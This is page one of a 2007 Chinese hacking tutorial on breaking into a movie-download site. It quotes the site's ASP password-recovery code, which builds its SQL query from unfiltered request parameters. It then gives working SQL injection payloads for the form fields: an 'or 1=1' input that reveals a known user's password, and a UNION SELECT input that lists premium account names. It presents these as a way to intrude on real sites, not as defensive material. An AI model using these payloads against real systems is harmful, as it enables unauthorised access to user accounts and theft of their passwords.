新客网WWW.XKER.COM:致力做中国最专业的网络学院!
学院: 操作系统 - 网络应用 - 服务器 - 网络安全 - 工具软件 - 办公软件 - Web开发 - 数据库 - 网页设计 - 图形图像 - 媒体动画 - 硬件学堂 - 存储频道 - QQ专区
您的位置:首页 > 网络学院 > 网络安全 > 黑客技术 > 正文:灵活运用Union轻松入侵下载电影的网站

灵活运用Union轻松入侵下载电影的网站

新客网 XKER.COM 2007-08-17 来源: limeinan 收藏本文

周末无聊,同学想让我帮他下载一些电影看,我打开Google,随便搜索了一下电影网站,点开了一个。看了一下界面,知道和电影系统关联很大。

下载了一个电影系统,看了一下,这么多个文件,头马上大了。还是在自己电脑上运行一下吧。注册了一个用户,点了一下找回密码,别人说这里有漏洞。看了一下,像是有漏洞的界面,有三个参数,还直接把密码显示出来。好,看一下源码。

 

39<% if request("myuserid")="" then %>
...
58   <%else
set rs=server.createobject("adodb.recordset"
sql="select password from users where
 userid='"&request("myuserid")&"'and city='"&
request("ask")&"'and adress='"&request("answer")&"'"
rs.open sql,conn,1,1if rs.eof and rs.bof then%>

这里果然没过滤。好多人都想到了可以用上面之方法注入了。能不能有更简单的方法呢?

我仔细考虑后,想到的语句形式如下:

 

select password from users where userid=‘‘ 
and city=‘‘ and adress='‘

如果用户名,密码提示问题(city),密码提示答案(adress)和表users一行匹配,便打印这行的password。我想的过程就不写了,后来我想到了一种方法,就是利用union查询。Access功能是很弱的,不能执行命令,不能导出文本,还不能注释。有个子查询可以利用之外,也就剩下这个union了。

怎么利用呢?先在本机做实验。测试过程简略,直接写出结果。要是知道了一个该网站的一个用户名(比如abc),可以这样利用。在“你注册问题”处填: abc' or ‘1=1(如果用户名是bcd,就变为bcd' or ‘1=1)密码提示问题处随便填几个字母或数字,最好别有符号,容易影响结果: 比如字母a密码提示答案处随便填几个字母或数字,填个a回车后就看到该用户的密码了。其实这样一来,上面的语句就变为:

 

select password from users
where userid=‘abc'  or  ‘1=1‘ 
and city=‘a‘ and adress='a‘

呵呵,程序无条件执行了,因为被 or ‘1=1'跳过后面的验证了。可是网站用户名也不是轻易得到的啊。别急,得到用户名一样简单。如下:在"你注册问题"处随便处填几个字母或数字,最好别有符号,容易影响结果: 比如字母a密码提示问题处和上面一样,随便填:我也填个a关键是在密码提示答案:我填的是:

 

a' union select userid from users where oklook>=3 or '0

上面就是要找黄金用户的帐户名,看到用户名后再用前面的方法找到密码。可以在where后面加很多参数并赋不同的值可以得到很多帐户。按上面之填入后输入语句就变成了:

 

select password from users
where userid=‘a‘ and city=‘a‘ and 
adress=' a' union select  userid  
from users  where oklook>=3 or '0 ‘

 

共2页: 上一页 [1] [2] 下一页
收藏】 【评论】 【推荐】 【投稿】 【打印】 【关闭
发表评论
要记得去论坛讨论,点击注册新会员匿名评论
评论内容:不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
阅读排行
随机推荐
实用信息推荐